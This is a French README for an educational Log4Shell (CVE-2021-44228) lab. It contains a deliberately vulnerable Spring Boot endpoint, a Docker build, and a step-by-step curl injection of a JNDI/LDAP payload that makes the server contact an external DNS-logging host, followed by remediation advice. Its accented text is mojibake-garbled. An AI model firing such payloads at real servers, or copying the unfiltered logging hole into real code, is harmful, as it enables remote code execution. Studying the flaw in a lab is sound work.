Share
## https://sploitus.com/exploit?id=343DF189-B690-5A0A-994F-6F4EE248FE1E
# đ DĂ©monstration de la vulnĂ©rabilitĂ© Log4Shell (CVE-2021-44228)
Ce projet est un **environnement de test contrÎlé** permettant de reproduire et comprendre la faille critique **Log4Shell** (CVE-2021-44228) affectant la bibliothÚque Apache Log4j.
---
## đ Architecture du projet
```
Secutp1/
âââ Dockerfile # Construction de l'image Docker
âââ pom.xml # DĂ©pendances Maven (Log4j 2.14.1 vulnĂ©rable)
âââ README.md # Ce fichier
âââ src/
âââ main/
âââ java/
âââ com/
âââ example/
âââ VulnerableApplication.java # Application Spring Boot vulnĂ©rable
```
---
## đŻ Objectif
Démontrer comment un attaquant peut exploiter la faille **CVE-2021-44228** pour forcer un serveur à effectuer une connexion réseau sortante non autorisée, simplement en envoyant une chaßne de caractÚres malveillante.
---
## đ Analyse du code vulnĂ©rable
### 1. Gestion des dépendances (`pom.xml`)
Le fichier `pom.xml` force l'utilisation de **Log4j 2.14.1**, une version antérieure au correctif de sécurité :
```xml
2.14.1
```
Cette version contient la classe `JndiLookup` activée par défaut, qui est la **racine du problÚme**.
### 2. Application Java (`VulnerableApplication.java`)
L'application expose un service web REST. La vulnérabilité se situe dans la méthode `index` :
```java
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNĂRABLE :
logger.info("RequĂȘte reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
```
**ProblÚme** : L'application récupÚre un paramÚtre utilisateur (`input`) et le passe directement à `logger.info()` **sans aucun filtrage**. Log4j interprÚte alors le contenu comme une commande potentielle.
### 3. Infrastructure Docker (`Dockerfile`)
Le Dockerfile utilise une construction en deux étapes :
- **Ătape 1** : Compilation avec Maven (`maven:3.8.4-openjdk-11`)
- **Ătape 2** : ExĂ©cution avec `eclipse-temurin:11-jre`
> đĄ L'utilisation de **Java 11** est pertinente car les versions plus rĂ©centes restreignent par dĂ©faut le chargement de classes distantes.
---
## âïž MĂ©canisme de l'attaque
L'exploitation repose sur l'injection **JNDI** (Java Naming and Directory Interface) :
1. Log4j détecte la syntaxe `${jndi:protocole://url}` dans les logs
2. Il tente dynamiquement de se connecter à l'URL spécifiée
3. Dans un scénario réel, cela permet de télécharger et exécuter une classe Java malveillante (RCE)
---
## đ§Ș ProcĂ©dure d'exploitation Ă©tape par Ă©tape
### Ătape 1 : PrĂ©paration
Assurez-vous que les fichiers suivants sont dans le mĂȘme dossier :
- `Dockerfile`
- `pom.xml`
- `src/main/java/com/example/VulnerableApplication.java`
### Ătape 2 : Construction de l'image Docker
```bash
docker build -t vulnerable-app .
```
Cette commande télécharge les dépendances Maven (Log4j 2.14.1) et crée l'image.
### Ătape 3 : Lancement du conteneur
```bash
docker run -p 8080:8080 --name demo-log4j vulnerable-app
```
L'application écoute maintenant sur le port **8080**.
### Ătape 4 : PrĂ©paration du tĂ©moin (Listener)
1. Rendez-vous sur un service de logging DNS :
- [dnslog.cn](http://dnslog.cn)
- [dnslog.org](https://dnslog.org/)
- Burp Collaborator
2. Copiez l'adresse fournie (ex: `mon-test.dnslog.cn`)
### Ătape 5 : Injection du payload
Dans un nouveau terminal, lancez la commande suivante :
```bash
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
```
> đ **Note** : Le caractĂšre `\` sert Ă Ă©chapper le `$` dans le terminal.
### Ătape 6 : VĂ©rification
Retournez sur le site dnslog. Vous verrez une **requĂȘte DNS apparaĂźtre**, confirmant que le serveur a exĂ©cutĂ© le code injectĂ©.
---
## đ RĂ©sultat attendu
| Ătape | Action |
|-------|--------|
| 1 | L'application Java reçoit la requĂȘte HTTP |
| 2 | La ligne `logger.info(...)` traite le paramĂštre `input` |
| 3 | Log4j détecte la syntaxe `${jndi:...}` |
| 4 | Log4j exécute la résolution LDAP vers le serveur distant |
| 5 | Une requĂȘte DNS apparaĂźt sur l'interface DNSLog |
---
## đš Conclusion
Le serveur a effectuĂ© une **connexion sortante vers une machine externe** simplement en loguant une requĂȘte utilisateur.
Dans un scénario réel, cette connexion aurait permis de :
- Télécharger une classe Java malveillante
- Exécuter du code arbitraire (RCE - Remote Code Execution)
- Prendre le **contrĂŽle total du serveur**
---
## đĄïž RemĂ©diation
Pour corriger cette vulnérabilité :
1. **Mettre à jour Log4j** vers la version **2.17.1** ou supérieure
2. **Désactiver les lookups JNDI** : `-Dlog4j2.formatMsgNoLookups=true`
3. **Supprimer la classe JndiLookup** du classpath
---
## đ RĂ©fĂ©rences
- [CVE-2021-44228 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
- [Apache Log4j Security Vulnerabilities](https://logging.apache.org/log4j/2.x/security.html)
- [ANSSI - Vulnérabilité Log4Shell](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/)
---
## đ Licence
Ce projet est fourni **à des fins éducatives uniquement**. Utilisez-le de maniÚre responsable et éthique.